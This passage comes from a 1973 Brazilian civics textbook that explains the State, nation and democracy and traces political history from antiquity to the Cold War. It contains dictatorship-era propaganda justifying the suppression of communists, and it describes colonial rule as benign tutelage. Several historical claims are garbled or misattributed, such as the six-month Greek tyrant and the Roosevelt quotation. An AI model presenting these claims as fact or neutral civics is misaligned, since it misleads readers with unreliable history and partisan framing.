Você como Cidadão
Edília Coelho Garcia (1973)
O Estado
O que é o Estado — vem do latim "status" e designa uma "comunidade jurídica", isto é, significa um conjunto de indivíduos, submetidos à mesma legislação e à mesma autoridade política. O Estado através dos tempos assumiu as mais variadas formas de governo até chegar ao moderno Estado democrático. Sua prin-
cipal obrigação é promover o Bem-Comum. Os Estados modernos gozam da prerrogativa da soberania, isto é, têm poderes autônomos e não estão sujeitos a nenhum outro governo estranho.
Os indivíduos que integram um Estado constituem o povo.
O Brasil é um estado soberano e os que nascem aqui constituem o povo brasileiro.
— Você não deve confundir Estado soberano e Estado-membro. O Brasil, por causa de sua grande extensão territorial, é dividido em 22 Estados. Estes são Estados-membros da União Federal. Seus governos só são relativamente autônomos e subordinam-se nas suas bases estruturais ao Governo Federal.
O que é Nação
Nação — é uma "comunidade natural". Nação implica um agrupamento de indivíduos ligados por laços comuns, que falam a mesma língua, tem as mesmas tradições, a mesma história e a mesma religião. Um exemplo típico de Nação pode ser dado com o povo israelita. Antes da criação do Estado de Israel, depois da 2.a Guerra Mundial, ‘o povo israelita espalhava-se pelo mundo todo. Nunca, entretanto, deixou ele de constituir uma Nação — manteve sempre coesas suas instituições, suas tradições, sua história e até o seu idioma.
— Você não deve confundir as expressões Nação e Pátria — que não são sinônimos.
O que é Pátria
Pátria — é uma "designação afetiva" de Nação. Pátria é uma "comunidade afetiva". A Pátria é a Nação enquanto objeto de veneração.
As Doutrinas Politicas
— Você sabe que existem inúmeras doutrinas políticas. Podemos enumerar o absolutismo, o anarquismo e a democracia. Pela importância que o assunto merece e para que você possa entender o valor que tem o estudo da História para compreensão
dos fenômenos sociais, nós vamos nos deter um pouco mais nos sistemas de Governo. Nós queremos principalmente que você conheça perfeitamente o que é um Sistema Democrático.
O Sistema Democrático
— Em qualquer jornal ou revista que você leia, encontra invariavelmente alguma notícia sobre o mundo liberal democrata e seu.choque, no momento presente, com os regimes totalitários de governo. De um lado estão situadas as liberdades do homem e, do outro, as imposições violentas dos governos totalitários (72). Os regimes totalitários, de um modo geral, não são mais aceitos no mundo moderno, sejam eles fascistas (como o nazismo e o fascismo) ou comunistas, como o da U.R.S.S. e o da China de Mao-Tse-Tung.
Os regimes absolutistas não são aceitos atualmente pelo simples fato de que a liberdade não foi obtida gratuitamente pelo homem. Ela foi conquistada por uma luta árdua e longa e, como todas as coisas conquistadas com grande esforço, ela é considerada um dos maiores bens de que o homem pode desfrutar.
— O que pretendemos mostrar a você neste capítulo é como o homem se tornou livre e como se deve comportar para preservar a liberdade conquistada.
Se você viu o filme "2001: Uma Odisséia no Espaço", deve estar lembrado de que os primeiros grupos a aparecerem na tela, são grandes macacos, ainda desprovidos de pensamento lógico e, por isto mesmo, vivendo apavorados diante da Natureza e das outras espécies animais. A partir de um certo momento, esses macacos passam a agir de maneira diferente, utilizam ossos, pedras e paus para se defenderem e a partir daí o diretor do filme passa a tratar das viagens interplanetárias.
Este momento exato em que o símio pensou com lógica, marca o aparecimento do homo sapiens, espécie a que todos nós nos orgulhamos de pertencer.
Já vimos que, embora se possa admitir que os outros animais pensem, eles são orientados apenas pelo instinto, enquanto o homem é orientado pela razão e, nesta diferença, é que os an-
(72) Diz-se do governo que centraliza todos os poderes ditatorialmente.
tigos encontraram justificativa para dizer que no homem há duas naturezas distintas: o corpo e a alma.
Um grande pensador católico, o Pe. Teillard de Chardin, explica que a evolução foi o processo criador empregado por Deus, e que a alma — feita à imagem e semelhança de Deus — foi colocada no homem em um momento da evolução, quando o físico já atingira um determinado ponto capaz de contê-la.
— Que tem tudo isto a ver com o sistema democrático ?
— Muita coisa. Continue lendo com atenção.
Ao atingir o estágio da evolução em que despontou o raciocínio lógico, o homem deixou de ser governado apenas pelos instintos e passou a reger suas ações também pela inteligência.
A família, primeiro elemento da sociedade, normalmente formada pelos pais e pela prole, torna-se insuficiente para as exigências do meio e do próprio homem. Diante dos animais de grande porte e dos perigos que as outras famílias podiam representar, os chefes de família resolveram unir-se. O chefe de família, normalmente o pai, o mais velho do grupo, era a autoridade máxima. Esta primeira forma de governo ocorreu em quase todos os grupos humanos e é conhecida como Patriarcado. Os patriarcas eram normalmente muito autoritários e julgavam-se senhores até da vida e da morte de seus subordinados.
Diferentes patriarcas, de diferentes famílias, reúnem-se e dão origem à tribo. As tribos têm um chefe, norma.lmente mais forte (cacique, tuchaua, morubixaba, etc.) e este é auxiliado, em suas funções, por um Conselho de Anciãos.
Ancião quer dizer velho. Em Latim, a palavra que designava os homens de idade avançada era senectus e esta assembléia de velhos chamava-se Senado.
Por meio da força, do prestígio pessoal e da "magia", os chefes conseguiam iludir o povo e passaram a ser considerados "divinos" e com capacidade de transmitir aos filhos suas qualidades. Foi daí que surgiu a hereditariedade do poder.
Durante praticamente toda a antiguidade os governos foram absolutistas, hereditários e de caráter divino.
— Vamos tentar caracterizar melhor para você o que eram estes governos absolutistas. Chamavam-se assim porque estavam na mão de um só homem ou de um pequeno grupo de homens Que governavam sem a menor preocupação com a vontade e obem estar das pessoas a quem governavam; hereditários, porque passavam de pai para filho, mesmo que este fosse incapaz de governar ou fosse detestado pelo povo; de caráter divino porque o chefe do governo fazia-se adorar como uma divindade.
Em algumas regiões houve pequenas variações, mas predominava sempre a vontade do soberano. Ao povo cabia apenas obedecer. Era a tal forma autocrática a que já nos referimos, quando falamos de disciplina — liberdade.
O que caracterizava esta forma de absolutismo era que o homem comum tinha apenas deveres. Só bem mais tarde é que o homem descobriria que a cada dever corresponde um direito.
Houve um pequeno povo, localizado na península Balcânica, no atual território da Grécia, que, depois de várias experiências, imaginou uma forma de governo diferente: todo o povo participaria do governo.
— Que aconteceria aos reis ? Deixariam de existir ?
— Não. Os reis deixariam de ser vitalícios (por toda a vida) e sempre que um deles deixasse de cumprir bem suas funções podia ser afastado do posto.
— Quem fazia as escolhas ou as substituições ?
— O povo.
— Como ?
— Por meio do voto.
— Como o povo grego, de Atenas particularmente, estava dividido administrativamente em pequenos grupos chamados demos, esta forma de governo ficou conhecida com o nome de democracia.
Todos os homens livres (cidadãos) podiam votar e a eleição era direta, isto é, cada eleitor indicava o nome de seu escolhido. Seria isto possível hoje em dia ? Não. O crescimento das cidades da época industrial tornaria impossível reunir todo o povo para votar alguma coisa. Além do mais, o direito de voto em Atenas atingia apenas os homens maiores de 30 anos, possuidores de terras ou com uma renda superior a 200kg de trigo por ano. Atualmente todos os cidadãos alfabetizados (homens e mulheres) maiores de 18 anos, mesmo sem renda são obrigados a votar. Isto explica a impossibilidade de uma eleição do tipo grego ser realizada hoje em dia.
Uma curiosidade com relação às eleições na Grécia é o fato de que os pretendentes aos cargos apresentavam seus planos e o povo (os eleitores), reunido no estádio ou no teatro, aplaudia ou vaiava. Os juízes, sentados de costas para os eleitores, indicavam qual o mais aplaudido, e este era o eleito. Como ve, o processo ainda é usado atualmente em programas de auditório.
Outra situação interessante da democracia grega era a tirania. Quando havia o perigo de uma guerra ou de uma luta civil (revolução, etc.), a Assembléia podia dar ao chefe do governo plenos poderes e ele recebia então o título de Tirano (73), que podia usar por um período de seis meses.
Como alguns tiranos gregos, já na fase da decadência, usaram esses plenos poderes para tentarem o regime absolutista ou para praticarem violências, a palavra passou a ter um sentido diferente que hoje nenhum chefe de governo gostaria de usar.
Atualmente, o último governante que realizou uma consulta popular pedindo plenos poderes e os obteve foi o ex-Presidente Charles De Gaulle, da França, para terminar com a luta na Indochina e na Argélia.
Infelizmente, nem todas as pessoas que ocupam cargos públicos estão empenhadas, como seria de desejar, em preservar o Bem Comum. Alguns procuram os cargos públicos como fonte de renda e de prestígio, outros para tentar modificar o regime. Neste caso são chamados, atualmente, de corruptos. Na Democracia grega o nome podia ser outro, mas eles também eram passíveis de punição.
Um legislador grego chamado Clístenes instituiu o ostracismo: cassação dos direitos civis e exílio por 10 anos.
— Você sabe como era aplicado o castigo ? O povo era consultado e, se a acusação fosse comprovada, aplicava-se o castigo.
— Como você ve, mesmo o "modelo" grego de democracia admitia castigos e punições.
— Um presidente norte-americano, o Presidente Roosevelt, durante a Segunda Guerra Mundial (1939-1945) disse, com muita sabedoria: "o preço da liberdade é a eterna vigilância."
Os gregos já haviam percebido que um regime de liberdade ampla precisa de meios para se defender contra os inescrupulosos
(73) Modernamente chama-se tirano aquele que abusa de sua autoridade, que é um opressor.
que podem desejar aproveitar-se dele para benefício próprio, em prejuízo do Bem Comum, ou para entregarem sua pátria aos inimigos da mesma ou do regime. Entretanto e lamentavelmente, depois de tão grande conquista voltaram os gregos ao absolutismo.
Em Roma, numa outra civilização antiga, houve também avançadas formas de governo: as assembléias contavam com um número limitado de representantes, conforme o número de eleitores. Uma das maiores exigências dos romanos era a sinceridade aos ideais defendidos. O cidadão, antes de concorrer às eleições, fazia uma prestação de contas e uma apresentação de princípios. Se aprovado pelos juízes, passava a usar uma túnica branca (cândida) que indicava suas pretensões ao cargo eletivo. Dessa túnica cândida derivou-se a palavra candidato, usada até hoje.
Do mesmo modo que Atenas, Roma passou por uma fase inicial monárquica, depois por uma forma republicana, em que o povo tinha uma participação muito grande no governo; mas, depois do governo de Augusto, o absolutismo voltou a ser a forma de governo. Como os gregos, os romanos não vigiaram sua Democracia e, por isso, a perderam.
Os governos absolutos em Roma acabaram por desmoralizar-se e quando povos estrangeiros ameaçaram invadi-la não houve possibilidade de defesa. O império Romano desmembrou-se e novos tipos de governo surgiram.
Quando o Império Romano se desmembrou, alguns homens conseguiram ficar com grandes porções de terra e tornaram-se senhores absolutos, inclusive com relação aos homens mais pobres que trabalhavam em suas terras.
Do século iv ao século xv, diz-se que ocorreu a Idade Média e, a partir do século viu, o governo foi exercido sob a forma feudal, isto é, vários senhores administrando de forma absoluta determinada porção de terra.
Os reis continuaram tendo muito poder e decretavam impostos e leis segundo suas vontades pessoais. Apenas na Inglaterra não ocorreu assim e em 1215 foi elaborada a Magna Carta que dava aos barões (possuidores de terras) o direito de participarem do governo, controlando, inclusive a ação do Rei. Em 1258, corri o desenvolvimento do comércio, foi elaborado o Estatuto de Oxford que deu aos comerciantes o direito de opinarem na legislação. Este regime, característico da Inglaterra, chamou-se Parlamentarismo e, com algumas modificações, vigora até hoje.
Os barões e os comerciantes ingleses estavam vigiando sua liberdade e por isto mesmo conseguiram mantê-la a salvo, até mesmo com relação ao Rei.
Nas demais nações, depois do feudalismo tornou a haver a centralização do poder e os reis, enriquecidos pelo comércio e pelas colônias fundadas no século xvi, passaram a exercer novamente o poder absoluto e hereditário e, embora não mais de caráter divino, pelo menos baseado na Teoria do Direito Divino, segundo a qual "o Rei é Rei por vontade de Deus" e por isto mesmo não pode ser criticado nem combatido. Mais uma vez, ao povo coube apenas obedecer.
Durante trezentos’ anos, o povo obedeceu e o Rei conseguiu que até mesmo os nobres e o clero seguissem suas idéias. Os processos empregados eram muito variados: iam do suborno à tortura e à morte.
No século xviii, intelectuais da Inglaterra, dos Estados Unidos e da França, estudando o passado e principalmente a democracia ateniense, passaram a defender novamente as idéias liberais.
Entre estes, podemos destacar Montesquieu (74) e Jean-Jacques Rousseau que, em obras, criticavam os governos absolutos e pregavam novamente a participação do povo no governo.
Praticamente todos os pensadores liberais do século xviii defendiam as mesmas idéias:
- — Todos os homens são iguais perante Deus e perante a Lei.
- — A liberdade é o maior bem do homem e sua única fonte de felicidade.
- — O homem deve poder participar do governo de sua Pátria.
- — As leis devem visar obrigatoriamente ao Bem Comum.
- — O governo deve zelar pelo Bem Comum.
- — O governo deve ser exercido de acordo com a vontade dos governados.
- — Toda forma de escravidão ou de servidão deve ser combatida.
(74) Montesquieu — Charles de Secondat (1689-1755), intelectual francês, autor do "Espírito das Leis" — tratou da "Separação dos Poderes". Precursor da Revolução Francesa.
Poderíamos ficar enumerando muitas idéias dessa época, mas em resumo podemos dizer que a idéia básica é que o Homem é um animal que só è feliz em pleno uso da liberdade.
Estas idéias apresentaram o primeiro resultado prático por ocasião da libertação das colônias inglesas de que resultou o aparecimento da República dos Estados Unidos da América do Norte, em 1776. No mesmo ano foi divulgada a Declaração dos Direitos do Homem pelo Congresso de Virgínia.
Em 1789, na França, onde o absolutismo era mais forte, ocorreu uma revolução que é considerada como o primeiro marco do liberalismo dos tempos modernos.
O poder absoluto foi abolido e o povo reconquistou o direito de participar do governo. Acabaram-se os títulos de nobreza e a maior honra do homem foi usar novamente, como em Atenas, o título de cidadão.
Infelizmente o absolutismo não se extinguiu em todos os países com a "Declaração dos Direitos do Homem", que foi repetida na França por ocasião da revolução. Em quase todas as épocas, alguns homens, por ambição ou por outros motivos, têm desejado implantá-lo e algumas vezes o tem conseguido, como foi o caso de Hitler, na Alemanha Nazista e de Mussolini na Itália Fascista. São os ditadores do mundo moderno e podem ocorrer tanto nos regimes de direita como nos regimes de esquerda (Stálin, Fidel Castro, Mao-Tse-Tung).
— Creio que seria bom, antes de prosseguirmos com nossa história, lembrarmos a você o significado de algumas palavras que já empregamos e que continuaremos a empregar de agora em diante.
Cidadão — é o membro da sociedade em pleno exercício de seus direitos. Lembre-se de que Platão designava cidadão como o antônimo de escravo. Nota-se por aí que uma das condições de cidadania é a liberdade.
Democracia — é a forma de governo caracterizada pelo fato de o povo ter o direito de designar os seus governantes e controlar o modo pelo qual exercem o poder que lhes é delegado.
República — forma de governo normalmente associada à idéia de democracia, pelo fato de o povo poder participar da escolha de seus mandatários. As repúblicas, atualmente, são de dois tipos: Presidencialista e Parlamentarista.
— O Brasil é uma República Presidencialista.
— E, agora, queremos chamar sua atenção para o seguinte:
Os movimentos intelectuais e políticos normalmente não ocorrem isolados no mundo. Houve épocas em que predominou o absolutismo, épocas de maior liberalismo, épocas de monarquias, épocas de repúblicas e épocas de ditaduras.
Os ideais liberais do século xvm não ficaram limitados aos Estados Unidos ou à Europa. Na mesma ocasião ocorreu no Brasil o primeiro movimento realmente liberal, pelo menos no sentido mais atual da palavra: a Conjuração Mineira.
A colonização portuguesa, embora exercida de maneira bastante branda, chegou a um ponto que já não podia mais ser tolerada pelo povo brasileiro. Os povos são, em parte, como as pessoas: quando amadurecem não aceitam mais a tutela de ninguém. O regime colonialista era, na realidade, uma tutela exercida por um povo mais adiantado sobre um povo mais atrasado.
Este episódio da História do Brasil ilustra muito claramente como um ideal deve ser colocado acima da própria vida. Joaquim José da Silva Xavier, o "Tiradentes", e outros brasileiros e portugueses residentes no Brasil, influenciados par estudantes que haviam voltado da França e por livros que haviam lido, entusiasmados pelo exemplo de patriotismo que culminou com a Revolução Americana, desejaram realizar a Independência do Brasil. Reuniram-se muitas vezes, planejaram não só a revolução como também o que fariam quando obtivessem a vitória. O plano era o seguinte:
- 1 — proclamariam a República;
- 2 — libertariam o Brasil de Portugal;
- 3 — libertariam os escravos;
- 4 — abririam escolas;
- 5 — dariam assistência aos órfãos, enfermos, velhos e viúvas.
Os planos eram bons, a causa justa e os conjurados valentes. Faltava-lhes apenas um coisa: experiência. Acreditavam tanto em sua causa que julgavam todos imbuídos dos mesmos ideais
e assim tornaram-se vulneráveis à traição de alguns de seus membros e à punição imposta pela legislação portuguesa. Durante dois anos, penaram no calabouço, aguardando julgamento. Finalmente em 1791, na madrugada de 20 de abril, foi-lhes anunciada a sentença: todos condenados à morte.
Que aconteceria se morressem todos ? A causa seria esquecida e abandonada para sempre. Era preciso que alguém escapasse ou que apenas um morresse. Tiradentes assumiu esta responsabilidade. A lei portuguesa previa que, nas revoluções fracassadas, apenas o chefe fosse condenado à morte. Tiradentes sabia disto e, mesmo assim, assumiu a inteira responsabilidade da revolta, aceitando a forca e o esquartejamento como o sacrifício que lhe impunha a defesa de seu ideal.
Anos depois, já o Brasil independente e republicano, Tiradentes passou a ser encarado como o herói da liberdade no Brasil.
Mas a idéia de governo em que o povo tem participação (democracia) não estava completa nem no fim do século xvm nem no século xix. O próprio conceito de cidadão precisava ainda evoluir.
O grande problema que as idéias novas enfrentam sempre é o da inexperiência de seus executores. Assim foi com o liberalismo do século xix. O governo sendo liberal democrata dava ampla liberdade a cada um de seus cidadãos e assim tornou-se impotente até mesmo para corrigir injustiças sociais, principalmente no que diz respeito a salários e horas de trabalho. O regime liberal democrata do século xix "faz os ricos cada vez mais ricos e os pobres cada vez mais pobres".
Novamente coube a intelectuais "denunciarem" as falhas do regime e a democracia liberal foi substituída pela democracia social.
Qual a diferença mais marcante entre democracia liberal e democracia social ?
A primeira coloca em primeiro plano a liberdade do indivíduo e a segunda o bem-estar, a harmonia entre as classes e um maior equilíbrio social.
A democracia social permite que o Estado controle empresas, propriedades particulares, etc, desde que tudo isto seja feito em nome do interesse social. Quando estudamos os sistemas econômicos falamos em neocapitalismo, que é o sistema encontrado na democracia social.
A posse da terra em larga escala, por um único senhor que não deseja ou não pode explorá-la é grande prejuízo para o povo e para o Estado. Numa democracia liberal nada havia a fazer; numa democracia social há a possibilidade de realização de uma reforma agrária que permita a redistribuição da terra por aqueles que podem e desejam trabalhá-la.
Em meados do século xix, um pensador de origem judaico-alemã, Karl Marx, impressionado pela pobreza e pela condição de vida miserável do operariado europeu, escreveu duas obras que muito mais tarde se tornariam famosas: O Manifesto Comunista e O Capital. Em ambas, criticava o regime capitalista da época e o sistema liberal democrata.
Entretanto, Marx partiu para afirmações absurdas. Em primeiro lugar, negava a existência de Deus. Fundamentava sua teoria numa tese materialista. Em segundo lugar, a moral comunista não é absoluta. Segundo os "princípios" morais comunistas "os fins justificam os meios". Assim, se para conseguir o poder é preciso roubar, ou matar, não prevalecem os princípios morais "não furtarás", "não matarás". E, ainda mais, Marx fez uma série de previsões que, modernamente, não foram confirmadas. Para ele o sistema comunista não teria lutas internas. O que se ve, atualmente, são tremendas lutas travadas no bloco das nações comunistas.
De qualquer modo, a "doutrina marxista" impressionou a muita gente.
Em 1917, ocorreu na Rússia, cujo governo era ainda absolutista, hereditário e de "direito divino", uma revolução parecida com a Revolução Francesa de 1789 em sua manifestação exterior, mas que teve como conseqüência o aparecimento do Sistema Comunista.
O Comunismo ou o Marxismo, nome que se deu aos princípios pregados por Marx, é uma doutrina político-econômica que pretende acabar com a propriedade privada e com as classes sociais e pretende ser imposta a todos os povos do mundo, nem que para isso seja preciso o uso de canhões e tanques de guerra, como ocorreu em Praga, na Tchecoslováquia, em 1968. Antes de tentar o ataque militar, sempre muito antipático e impopular, os comunistas fazem intensa propaganda através de seus adeptos, que infelizmente existem em todas as nações do mundo. É a este tipo de propaganda que pretende subverter a ordem estabelecida num país, que se chama de subversão.
Diante desta propaganda comunista as democracias foram colocadas diante de um dilema: manter a liberdade até mesmo com o risco de serem destruídas, ou restringirem algumas liberdades, em nome da própria liberdade.
Embora não seja esta uma forma de democracia já consagrada, nem possa ela ser enquadrada em nenhum esquema anterior, as nações democratas da atualidade estão sendo obrigadas a limitar a ação de seus inimigos comunistas, colocando seus partidos fora da lei e combatendo-os por todos os meios e modos.
Normalmente falamos até agora em ditadura como governo de uma só pessoa, mas o que ocorre com maior freqüência é o governo de um só grupo ou de um só partido. Ocorreu com o Nazismo, com o Fascismo e com o Comunismo. Só o partido dominante tem expressão política, só seus membros são candidatos e só seus membros votam. Ou se é do partido ou não se é cidadão. Não há o direito de oposição. Se o homem não concorda com a linha do partido deve calar-se, mesmo porque de nada valeria protestar ou agir, uma vez que o governo (identificado com o partido) tem elementos para sufocá-lo, expurgá-lo ou destruí-lo.
Muitos erros podem ser apontados nos regimes democráticos. Muitos erros já deveriam ter sido corrigidos nas democracias, mas a oposição em qualquer circunstância sempre pode protestar e apresentar um candidato melhor e um programa mais eficaz. Nos regimes totalitários (de esquerda ou de direita), os erros só aparecem muito mais tarde, depois que aquele governo já caiu e que um outro, do mesmo partido, da mesma linha ocupou seu lugar.
Direitos do Cidadão
— Tudo aquilo que torna o homem digno da sua condição de pessoa humana é, também, direito do cidadão. Entretanto, além do que constitui o direito natural, podemos lembrar ainda o chamado direito positivo, que é constituído pelo conjunto de leis escritas ou de costumes a que o tempo e o uso conferem força de lei. O direito positivo brasileiro dá aos seus cidadãos, como o fazem todos os povos civilizados, os seguintes direitos:
— O direito constitucional ou público — "São os atos que se relacionam com a vida pública em virtude dos quais é garantida a todos os indivíduos a liberdade de locomoção, de pensamento, de trabalho e de religião".
— O direito civil e- penal — "São as normas jurídicas que regulam as relações entre as pessoas, garantem os inte-
(76) É o mesmo que distinguir. Modernamente a palavra discriminação é usada para indicar preconceitos raciais — a distinção que há em alguns países entre indivíduos pretos e brancos.
Fonte: Material Didático EMC Didática Irradiante 1973.
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